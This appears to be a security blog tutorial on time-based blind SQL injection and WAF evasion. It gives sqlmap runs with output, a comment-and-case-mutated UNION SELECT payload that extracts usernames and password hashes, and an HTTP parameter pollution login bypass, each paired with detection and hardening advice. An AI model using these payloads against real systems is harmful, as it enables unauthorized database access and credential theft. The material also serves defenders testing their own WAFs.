In 2025, the Cl0p ransomware group exploited a blind SQL injection flaw in a widely used MOVEit-adjacent file portal — bypassing a commercial WAF by encoding payloads in a way the ruleset never anticipated. The vulnerability class wasn’t new. The bypass was. If your SQLi skills stop at OR 1=1, you’re missing the part that actually gets through defenses in 2026.
Time-Based Blind SQLi When You Can’t See Output
Blind SQL injection returns no data directly. Instead, you infer truth by measuring response time. If the database sleeps for 5 seconds when your condition is true, you’ve confirmed the injection point — and can extract data one bit at a time.
Here’s a real sqlmap run against a vulnerable staging host using time-based blind mode:
$ sqlmap -u "https://portal.acmecorp.internal/search?q=reports" \
--dbms=mysql \
--technique=T \
--level=5 \
--risk=3 \
--batch \
--dbs
[12:04:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:04:36] [INFO] POST parameter 'q' appears to be 'MySQL time-based blind' injectable
[12:04:41] [INFO] the back-end DBMS is MySQL
available databases [3]:
[*] information_schema
[*] acme_prod
[*] user_sessions
That 5-second delay on the SLEEP call confirmed injection. The --technique=T flag restricts sqlmap to time-based only — useful when error-based and UNION methods are blocked by a WAF. You now know two databases exist beyond information_schema: acme_prod and user_sessions. An attacker pivots to dumping user_sessions next, hunting for active session tokens. A defender seeing 5-second response spikes in their APM dashboard should treat that as an immediate red flag.
WAF Bypass: Encoding, Chunking, and Case Mutation
Most WAFs match signatures — specific strings like UNION SELECT or SLEEP(. The bypass game is making your payload unrecognizable to the signature engine while remaining valid SQL to the database parser. There are three reliable methods that still work against misconfigured or legacy WAF rulesets.
1. URL and Unicode Encoding
MySQL and MSSQL both accept Unicode and double-URL-encoded characters. A WAF scanning for UNION won’t catch %55NION or UN/**/ION if its decoder is single-pass.
# Original blocked payload:
https://shop.acmecorp.internal/item?id=1 UNION SELECT null,username,password FROM users--
# WAF bypass using inline comment chunking + case mutation:
https://shop.acmecorp.internal/item?id=1 /*!50000UnIoN*/ /*!50000SeLeCt*/ null,username,password FROM users--
# Response excerpt (HTTP 200, 847ms):
<div class="item-name">admin</div>
<div class="item-name">$2y$10$x8Kq9mN2pL7vR3wT6uY1Oe</div>
The /*!50000 ... */ syntax is a MySQL version-conditional comment. MySQL executes it. Many WAFs treat it as a comment and skip it. The case mutation (UnIoN, SeLeCt) defeats simple string-match rules. The response returned the admin username and a bcrypt hash. Next step for an attacker: offline cracking with hashcat. Next step for a defender: that WAF ruleset needs a regex overhaul and a normalization layer before pattern matching.
2. HTTP Parameter Pollution
Some WAFs inspect only the first occurrence of a parameter. Duplicate it and split the payload across both values — the database concatenates them, the WAF sees two clean-looking strings.
POST /login HTTP/1.1
Host: portal.acmecorp.internal
Content-Type: application/x-www-form-urlencoded
username=admin'/*&username=*/OR/*&username=*/'1'='1&password=anything
# Reconstructed by the backend:
# admin'/**/OR/**/'1'='1
# Evaluates to: admin' OR '1'='1 --> authentication bypass
The WAF sees three username values, none of which individually match an injection signature. The PHP or Java backend concatenates them into a single query parameter. Authentication bypassed. This technique is particularly effective against WAFs sitting in front of apps that use frameworks with loose parameter handling. Detection-side: log all duplicate parameter names. Legitimate apps almost never send them.
Hardening: What Actually Stops This
Parameterized queries eliminate the injection root cause — no WAF required. But WAFs are a real layer, and they need to be configured correctly:
- Enable normalization before pattern matching. Decode URL encoding, strip comments, and lowercase input before running signatures against it.
- Block duplicate parameters at the WAF layer. HTTP parameter pollution is rarely legitimate traffic.
- Set WAF to learning mode on new endpoints. Catch anomalous response-time patterns, not just payload signatures.
- Fuzz your own WAF. Run sqlmap with
--tamper=space2comment,charencode,randomcaseagainst your staging environment monthly.
What To Do Now
Pull up one of your own web applications — staging only — and run sqlmap against a search or filter endpoint using the tamper scripts space2comment and charencode combined:
sqlmap -u "https://staging.yourdomain.internal/search?q=test" \
--tamper=space2comment,charencode,randomcase \
--level=3 --risk=2 --batch --dbs
If it finds anything your WAF didn't block, you have a tuning job to do today — not next sprint.
